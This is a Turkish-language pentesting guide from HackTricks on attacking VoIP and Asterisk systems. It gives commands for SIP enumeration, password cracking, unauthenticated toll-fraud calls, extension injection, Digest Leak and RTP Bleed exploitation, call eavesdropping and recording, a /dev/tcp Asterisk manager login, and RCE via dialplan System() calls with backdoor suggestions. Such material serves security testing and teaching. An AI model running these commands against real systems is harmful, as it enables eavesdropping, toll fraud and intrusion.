.. | ||
basic-voip-protocols | ||
README.md |
Pentesting VoIP
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın. Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
VoIP Temel Bilgiler
VoIP'in nasıl çalıştığını öğrenmeye başlamak için kontrol edin:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
Temel Mesajlar
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
Yanıt Kodları
1xx—Geçici Yanıtlar
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xx—Başarılı Yanıtlar
200 OK
202 Accepted
204 No Notification
3xx—Yeniden Yönlendirme Yanıtları
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xx—İstemci Hatası Yanıtları
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
5xx—Sunucu Hatası Yanıtları
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xx—Küresel Hata Yanıtları
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
VoIP Enumeration
Telefon Numaraları
Kırmızı Takımın yapabileceği ilk adımlardan biri, OSINT araçları, Google Aramaları veya web sayfalarını tarayarak şirketle iletişim kurmak için mevcut telefon numaralarını aramaktır.
Telefon numaralarına sahip olduğunuzda, operatörü tanımlamak için çevrimiçi hizmetleri kullanabilirsiniz:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
Operatörün VoIP hizmetleri sunup sunmadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Ayrıca, şirketin VoIP hizmetleri kiralamamış olabileceği, ancak kendi VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullandığı da mümkündür.
Müzik gibi otomatik yanıtlar, genellikle VoIP kullanıldığını gösterir.
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT bilgileri
VoIP yazılımını tanımlamaya yardımcı olan diğer herhangi bir OSINT sayımı, Kırmızı Takım için faydalı olacaktır.
Ağ Sayımı
nmap
UDP hizmetlerini tarama yeteneğine sahiptir, ancak taranan UDP hizmetlerinin sayısı nedeniyle çok yavaştır ve bu tür hizmetlerle çok doğru olmayabilir.
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap
SIPVicious'tan (sudo apt install sipvicious
): Belirtilen ağda SIP hizmetlerini bulacaktır.svmap
engellemesi kolaydır çünkü User-Agentfriendly-scanner
kullanır, ancak/usr/share/sipvicious/sipvicious
dosyasındaki kodu değiştirebilirsiniz.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS taraması
from sippts: SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve büyük ağ aralıklarını tarayabilir. Bir port aralığını kolayca belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntemi kullanmaya (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir User-Agent belirtmeye olanak tanır (ve daha fazlası).
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
Ek Ağ Numaralandırma
PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarıyor olabilir:
- 69/UDP (TFTP): Firmware güncellemeleri
- 80 (HTTP) / 443 (HTTPS): Cihazı web üzerinden yönetmek için
- 389 (LDAP): Kullanıcı bilgilerini depolamak için alternatif
- 3306 (MySQL): MySQL veritabanı
- 5038 (Manager): Asterisk'i diğer platformlardan kullanmaya izin verir
- 5222 (XMPP): Jabber kullanarak mesajlar
- 5432 (PostgreSQL): PostgreSQL veritabanı
- Ve diğerleri...
Yöntem Numaralandırma
PBX'te kullanılabilir yöntemlerin hangileri olduğunu bulmak mümkündür SIPPTS enumerate
kullanarak sippts
sippts enumerate -i 10.10.0.10
Sunucu yanıtlarını analiz etme
Gönderdiğimiz mesaj ve başlık türüne bağlı olarak, bir sunucunun bize geri gönderdiği başlıkları analiz etmek çok önemlidir. sippts ile SIPPTS send
kullanarak, tüm başlıkları manipüle ederek kişiselleştirilmiş mesajlar gönderebilir ve yanıtı analiz edebiliriz.
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
Sunucu websockets kullanıyorsa veri elde etmek de mümkündür. sippts içindeki SIPPTS wssend
ile kişiselleştirilmiş WS mesajları gönderebiliriz.
sippts wssend -i 10.10.0.10 -r 443 -path /ws
Extension Enumeration
PBX (Özel Santral) sistemindeki uzantılar, bir organizasyon veya işletme içindeki bireysel telefon hatlarına, cihazlara veya kullanıcılara atanan benzersiz iç tanımlayıcılardır. Uzantılar, her kullanıcı veya cihaz için bireysel dış telefon numaralarına ihtiyaç duymadan, organizasyon içinde çağrıları verimli bir şekilde yönlendirmeyi mümkün kılar.
svwar
from SIPVicious (sudo apt install sipvicious
):svwar
, ücretsiz bir SIP PBX uzantı hattı tarayıcısıdır. Kavramsal olarak, bir uzantı aralığını veya belirli bir uzantı listesini tahmin ederek geleneksel wardialer'lara benzer şekilde çalışır.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS exten
from sippts: SIPPTS exten, bir SIP sunucusundaki uzantıları tanımlar. Sipexten, büyük ağ ve port aralıklarını kontrol edebilir.
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit: Metasploit ile uzantıları/kullanıcı adlarını da listeleyebilirsiniz:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX bir Inter Asterisk Exchange protokolü kullanıcı adı brute-force enumeratörü. enumIAX, iki farklı modda çalışabilir; Sıralı Kullanıcı Adı Tahmini veya Sözlük Saldırısı.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP Saldırıları
Şifre Kaba Kuvvet - çevrimiçi
PBX ve bazı uzantılar/kullanıcı adları keşfedildikten sonra, bir Kırmızı Takım, yaygın şifrelerin bir sözlüğünü kullanarak kimlik doğrulamasını kaba kuvvetle denemek için bir uzantıya REGISTER
yöntemi ile kimlik doğrulaması yapmayı deneyebilir.
{% hint style="danger" %} Bir kullanıcı adı uzantıyla aynı olabilir, ancak bu uygulama PBX sistemine, yapılandırmasına ve organizasyonun tercihlerine bağlı olarak değişebilir...
Eğer kullanıcı adı uzantıyla aynı değilse, onu kaba kuvvetle denemek için kullanıcı adını bulmanız gerekecek. {% endhint %}
svcrack
SIPVicious'tan (sudo apt install sipvicious
): SVCrack, bir PBX'teki belirli bir kullanıcı adı/uzantı için şifreyi kırmanıza olanak tanır.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrack
from sippts: SIPPTS rcrack, SIP hizmetleri için uzaktan bir şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birden fazla kullanıcı için şifreleri test edebilir.
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIP Sniffing
Eğer bir Açık Wifi ağı içinde VoIP ekipmanı bulursanız, tüm bilgileri dinleyebilirsiniz. Dahası, daha kapalı bir ağda (Ethernet üzerinden bağlı veya korumalı Wifi) iseniz, PBX ile geçit arasında bilgi dinlemek için MitM saldırıları gerçekleştirebilirsiniz, örneğin ARPspoofing.
Ağ bilgileri arasında, ekipmanı yönetmek için web kimlik bilgileri, kullanıcı uzantıları, kullanıcı adı, IP adresleri, hatta hashlenmiş şifreler ve RTP paketleri bulabilirsiniz; bu paketleri yeniden üreterek konuşmayı duyabilirsiniz ve daha fazlası.
Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz... ancak VoIP konuşmalarını dinlemek için özel olarak oluşturulmuş bir araç ucsniffdir.
{% hint style="danger" %}
SIP iletişiminde TLS kullanılıyorsa, SIP iletişimini açık olarak göremeyeceğinizi unutmayın.
SRTP ve ZRTP kullanıldığında da aynı durum geçerlidir, RTP paketleri açık metin olarak olmayacaktır.
{% endhint %}
SIP kimlik bilgileri (Şifre Kaba Kuvvet - çevrimdışı)
Kimlik bilgileri nasıl gönderiliyor öğrenmek için SIP REGISTER iletişimini daha iyi anlamak için bu örneği kontrol edin.
sipdump
&sipcrack
, sipcrack'in bir parçası (apt-get install sipcrack
): Bu araçlar, SIP protokolü içindeki digest kimlik doğrulamalarını çıkartabilir ve kaba kuvvet ile kırabilir.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dump
from sippts: SIPPTS dump, bir pcap dosyasından digest kimlik doğrulamalarını çıkarabilir.
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrack
from sippts: SIPPTS dcrack, SIPPTS dökümünden elde edilen özet kimlik doğrulamalarını kırmak için bir araçtır.
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tshark
from sippts: SIPPTS tshark, bir PCAP dosyasından SIP protokol verilerini çıkarır.
sippts tshark -f capture.pcap [-filter auth]
DTMF kodları
Sadece SIP kimlik bilgileri ağ trafiğinde bulunmakla kalmaz, aynı zamanda sesli mesaj erişimi için kullanılan DTMF kodlarını da bulmak mümkündür.
Bu kodlar INFO SIP mesajları, ses veya RTP paketleri içinde gönderilebilir. Kodlar RTP paketleri içindeyse, konuşmanın o kısmını kesip multimo aracını kullanarak çıkartabilirsiniz:
multimon -a DTMF -t wac pin.wav
Ücretsiz Aramalar / Asterisk Bağlantı Yanlış Yapılandırmaları
Asterisk'te belirli bir IP adresinden veya herhangi bir IP adresinden bir bağlantıya izin vermek mümkündür:
host=10.10.10.10
host=dynamic
Eğer bir IP adresi belirtilmişse, host her zaman REGISTER istekleri göndermeye ihtiyaç duymayacaktır (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Ancak, VoIP sunucusundan çağrı almak için açık portlara sahip olması gerekecektir.
Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler:
type=user
: Kullanıcı yalnızca çağrı alabilir.type=friend
: Peer olarak çağrı yapmak ve kullanıcı olarak almak mümkündür (uzantılarla kullanılır)type=peer
: Peer olarak çağrı göndermek ve almak mümkündür (SIP-trunklar)
Ayrıca, insecure değişkeni ile güven oluşturmak da mümkündür:
insecure=port
: IP tarafından doğrulanan peer bağlantılarına izin verir.insecure=invite
: INVITE mesajları için kimlik doğrulama gerektirmezinsecure=port,invite
: Her ikisi de
{% hint style="warning" %}
type=friend
kullanıldığında, host değişkeninin değeri kullanılmayacaktır, bu nedenle bir admin bu değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa, herkes buna bağlanabilecektir.
Örneğin, bu yapılandırma savunmasız olacaktır:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
Ücretsiz Çağrılar / Asterisk Bağlamı Yanlış Yapılandırmaları
Asterisk'te bir bağlam, ilişkili uzantıları, eylemleri ve kuralları gruplandıran adlandırılmış bir konteyner veya bölümüdür. Arama planı, Asterisk sisteminin temel bileşenidir, çünkü gelen ve giden çağrıların nasıl işlendiğini ve yönlendirildiğini tanımlar. Bağlamlar, arama planını düzenlemek, erişim kontrolünü yönetmek ve sistemin farklı bölümleri arasında ayrım sağlamak için kullanılır.
Her bağlam, genellikle extensions.conf
dosyasında yapılandırma dosyasında tanımlanır. Bağlamlar, köşeli parantezlerle belirtilir ve bağlam adı bunların içinde yer alır. Örneğin:
csharpCopy code[my_context]
İçerik bağlamında, uzantıları (çevrilen numaraların kalıpları) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler, çağrının nasıl işleneceğini belirler. Örneğin:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
Bu örnek, "my_context" adlı basit bir bağlamı ve "100" uzantısını göstermektedir. Birisi 100'ü aradığında, çağrı yanıtlanacak, bir karşılama mesajı çalacak ve ardından çağrı sonlandırılacaktır.
Bu, herhangi bir başka numarayı aramaya izin veren başka bir bağlamdır:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
Eğer yönetici varsayılan bağlamı şu şekilde tanımlarsa:
[default]
include => my_context
include => external
{% hint style="warning" %} Herkes sunucuyu başka bir numaraya arama yapmak için kullanabilecektir (ve sunucunun yöneticisi arama için ödeme yapacaktır). {% endhint %}
{% hint style="danger" %}
Ayrıca, varsayılan olarak sip.conf
dosyası allowguest=true
içerir, bu nedenle herhangi bir saldırgan kimlik doğrulaması olmadan başka bir numaraya arama yapabilecektir.
{% endhint %}
SIPPTS invite
from sippts: SIPPTS invite, PBX sunucusunun kimlik doğrulaması olmadan arama yapmamıza izin verip vermediğini kontrol eder. Eğer SIP sunucusunun yanlış bir yapılandırması varsa, dış numaralara arama yapmamıza izin verecektir. Ayrıca, aramayı ikinci bir dış numaraya aktarmamıza da izin verebilir.
Örneğin, eğer Asterisk sunucunuzun kötü bir bağlam yapılandırması varsa, yetkilendirme olmadan INVITE isteğini kabul edebilirsiniz. Bu durumda, bir saldırgan herhangi bir kullanıcı/parola bilmeden arama yapabilir.
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
Ücretsiz aramalar / Yanlış yapılandırılmış IVRS
IVRS, Etkileşimli Sesli Yanıt Sistemi anlamına gelir; kullanıcıların ses veya tuşlama girdileri aracılığıyla bilgisayarlı bir sistemle etkileşimde bulunmalarını sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girdilerini yakalama gibi çeşitli işlevler sunan otomatik çağrı yönetimi sistemleri oluşturmak için kullanılır.
VoIP sistemlerindeki IVRS genellikle şunlardan oluşur:
- Sesli istemler: Kullanıcıları IVR menü seçenekleri ve talimatları aracılığıyla yönlendiren önceden kaydedilmiş sesli mesajlar.
- DTMF (Çift Tonlu Çok Frekanslı) sinyalleme: Telefon tuşlarına basarak üretilen tuşlama girdileri, IVR menülerinde gezinmek ve girdi sağlamak için kullanılır.
- Çağrı yönlendirme: Çağrıları kullanıcı girdisine dayalı olarak belirli departmanlara, temsilcilere veya dahili numaralara yönlendirme.
- Kullanıcı girişi yakalama: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.
- Dış sistemlerle entegrasyon: IVR sistemini veritabanları veya diğer yazılım sistemleriyle bağlayarak bilgiye erişim sağlama, güncelleme yapma, eylemler gerçekleştirme veya olayları tetikleme.
Asterisk VoIP sisteminde, extensions.conf
dosyası ve Background()
, Playback()
, Read()
gibi çeşitli uygulamalar kullanarak bir IVR oluşturabilirsiniz. Bu uygulamalar, sesli istemleri çalma, kullanıcı girdilerini yakalama ve çağrı akışını kontrol etme konusunda yardımcı olur.
Zayıf yapılandırma örneği
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
Önceki, kullanıcının bir departmanı aramak için 1'e basması, başka birini aramak için 2'ye basması veya biliyorsa tam uzantıyı girmesi istendiği bir örnektir.
Açık, belirtilen uzantı uzunluğunun kontrol edilmemesi, bir kullanıcının 5 saniyelik zaman aşımını tam bir numara girmesi ve bunun araması yapılabilmesidir.
Uzantı Enjeksiyonu
Aşağıdaki gibi bir uzantı kullanarak:
exten => _X.,1,Dial(SIP/${EXTEN})
Where ${EXTEN}
is the extension that will be called, when the ext 101 is introduced this is what would happen:
${EXTEN}
çağrılacak extension'dır, ext 101 tanıtıldığında bu gerçekleşecektir:
exten => 101,1,Dial(SIP/101)
Ancak, eğer ${EXTEN}
sayıların dışında daha fazla şey girmeye izin veriyorsa (eski Asterisk sürümlerinde olduğu gibi), bir saldırgan 101&SIP123123123
girerek 123123123 telefon numarasını arayabilir. Ve bu sonuç olacaktır:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
Bu nedenle, 101
ve 123123123
uzantısına bir çağrı gönderilecek ve yalnızca ilk çağrıyı alan bağlantı kurulacaktır... ancak bir saldırgan, mevcut olan herhangi bir eşleşmeyi atlayan ancak var olmayan bir uzantı kullanırsa, yalnızca istenen numaraya bir çağrı enjekte edebilir.
SIPDigestLeak zafiyeti
SIP Digest Leak, hem donanım hem de yazılım IP Telefonları ile telefon adaptörlerini (VoIP'tan analog) içeren çok sayıda SIP Telefonunu etkileyen bir zafiyettir. Bu zafiyet, şifreden hesaplanan Digest kimlik doğrulama yanıtının sızmasına izin verir. Çevrimdışı bir şifre saldırısı mümkün hale gelir ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir.
**Zafiyet senaryosu buradan**:
- Bir IP Telefon (kurban) herhangi bir portta (örneğin: 5060) dinliyor, telefon çağrılarını kabul ediyor
- Saldırgan IP Telefone bir INVITE gönderiyor
- Kurban telefon çalmaya başlıyor ve biri açıp kapatıyor (çünkü diğer uçta kimse telefonu açmıyor)
- Telefon kapatıldığında, kurban telefon saldırgana bir BYE gönderiyor
- Saldırgan bir 407 yanıtı veriyor ve kimlik doğrulama talep ediyor ve bir kimlik doğrulama meydan okuması yayımlıyor
- Kurban telefon, ikinci bir BYE'de kimlik doğrulama meydan okumasına bir yanıt sağlıyor
- Saldırgan, yerel makinesinde (veya dağıtılmış ağ vb.) meydan okuma yanıtına karşı bir brute-force saldırısı gerçekleştirebilir ve şifreyi tahmin edebilir
- SIPPTS sızıntısı sippts'den: SIPPTS sızıntısı, çok sayıda SIP Telefonunu etkileyen SIP Digest Leak zafiyetini istismar eder. Çıktı, SIPPTS dcrack veya SipCrack aracı kullanarak brute force yapmak için SipCrack formatında kaydedilebilir.
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Call, bir web kullanıcısının (örneğin bir ürüne ilgi duyan) telefon numarasını tanıtmasına olanak tanır. Ardından bir ticari arama yapılır ve kullanıcı telefonu açtığında, kullanıcı ajanla arama yapılıp bağlanır.
Bunun için yaygın bir Asterisk profili şudur:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- Önceki profil HERHANGİ BİR IP adresinin bağlanmasına izin veriyor (şifre biliniyorsa).
- Daha önce belirtildiği gibi, bir arama düzenlemek için okuma izinlerine gerek yoktur ve sadece yazma için başlatma gereklidir.
Bu izinlerle, şifreyi bilen herhangi bir IP bağlanabilir ve çok fazla bilgi çıkarabilir, örneğin:
{% code overflow="wrap" %}
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
Daha fazla bilgi veya işlem talep edilebilir.
Dinleme
Asterisk'te, gerçekleşen konuşmaları duymak için izlenecek uzantıları (veya hepsini) belirten ChanSpy
komutunu kullanmak mümkündür. Bu komut bir uzantıya atanmalıdır.
Örneğin, exten => 333,1,ChanSpy('all',qb)
ifadesi, eğer uzantı 333'ü ararsanız, all
uzantılarını izleyecektir, yeni bir konuşma başladığında (b
) sessiz modda (q
) dinlemeye başlayacaktır, çünkü buna müdahale etmek istemiyoruz. Bir konuşmadan diğerine geçmek için *
tuşuna basabilir veya uzantı numarasını tuşlayabilirsiniz.
Sadece bir uzantıyı izlemek için ExtenSpy
kullanmak da mümkündür.
Konuşmaları dinlemek yerine, bir uzantı kullanarak dosyalara kaydetmek de mümkündür:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
Aramalar /tmp
dizininde kaydedilecektir.
Asterisk'in kapandığında aramayı sızdıracak bir script çalıştırmasını da sağlayabilirsiniz.
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed zafiyeti
RTCPBleed, Asterisk tabanlı VoIP sunucularını etkileyen büyük bir güvenlik sorunudur (2017'de yayımlandı). Bu zafiyet, VoIP konuşmalarını taşıyan RTP (Gerçek Zaman Protokolü) trafiğinin, İnternetteki herkes tarafından dinlenip yönlendirilebilmesine olanak tanır. Bu, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamayı atlamasından kaynaklanır.
RTP proxy'leri, iki veya daha fazla taraf arasında RTP akışlarını proxy'leyerek RTC sistemlerini etkileyen NAT sınırlamalarını gidermeye çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin, SIP) aracılığıyla elde edilen RTP IP ve port bilgilerine güvenemez. Bu nedenle, bazı RTP proxy'leri, böyle bir IP ve port çiftinin otomatik olarak öğrenildiği bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portunu yanıtlanması gereken olarak işaretleyerek yapılır. "Öğrenme modu" olarak adlandırılabilecek bu mekanizma, herhangi bir tür kimlik doğrulama kullanmaz. Bu nedenle, saldırganlar, RTP proxy'sine RTP trafiği gönderebilir ve devam eden bir RTP akışı için arayan veya aranan kişi için olması gereken proxy'lenmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed diyoruz çünkü saldırganların meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır.
RTP proxy'leri ve RTP yığınlarının bir diğer ilginç davranışı, bazen, RTP Bleed'e karşı savunmasız olsalar bile, herhangi bir kaynaktan gelen RTP paketlerini kabul edip iletebilecekleri ve/veya işleyebilecekleridir. Bu nedenle, saldırganlar, meşru olanın yerine kendi medyalarını enjekte etmelerine olanak tanıyan RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu diyoruz çünkü mevcut RTP akışlarına meşru olmayan RTP paketlerinin enjekte edilmesine olanak tanır. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarında bulunabilir.
Asterisk ve FreePBX, RTP trafiğinin kimlik doğrulamayı atlamasına olanak tanıyan NAT=yes
ayarını geleneksel olarak kullanmıştır; bu da aramalarda sesin olmamasına veya tek yönlü ses sorununa yol açabilir.
Daha fazla bilgi için https://www.rtpbleed.com/'i kontrol edin.
SIPPTS rtpbleed
from sippts: SIPPTS rtpbleed, RTP akışları göndererek RTP Bleed zafiyetini tespit eder.
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleed
from sippts: SIPPTS rtcpbleed, RTCP akışları göndererek RTP Bleed zafiyetini tespit eder.
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedflood
from sippts: SIPPTS rtpbleedflood, RTP akışları göndererek RTP Bleed zafiyetini istismar eder.
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinject
from sippts: SIPPTS rtpbleedinject, bir ses dosyasını (WAV formatında) enjekte ederek RTP Bleed açığını istismar eder.
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
RCE
Asterisk'te bir şekilde uzantı kuralları ekleyip bunları yeniden yükleyebilme (örneğin, savunmasız bir web yönetim sunucusunu ele geçirerek) yeteneğine sahip olduğunuzda, System
komutunu kullanarak RCE elde etmek mümkündür.
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
There is command called Shell
that could be used instead of System
to execute system commands if necessary.
{% hint style="warning" %}
Eğer sunucu System
komutunda belirli karakterlerin kullanılmasına izin vermiyorsa (Elastix gibi), web sunucusunun sistemde dosya oluşturmasına izin verip vermediğini kontrol edin (Elastix veya trixbox gibi) ve bunu bir arka kapı scripti oluşturmak için kullanın, ardından System
ile bu scripti çalıştırın.
{% endhint %}
İlginç yerel dosyalar ve izinler
sip.conf
-> SIP kullanıcılarının şifresini içerir.- Eğer Asterisk sunucusu root olarak çalışıyorsa, root'u tehlikeye atabilirsiniz.
- mysql root kullanıcısının hiç şifresi olmayabilir.
- bu, bir arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
FreePBX
amportal.conf
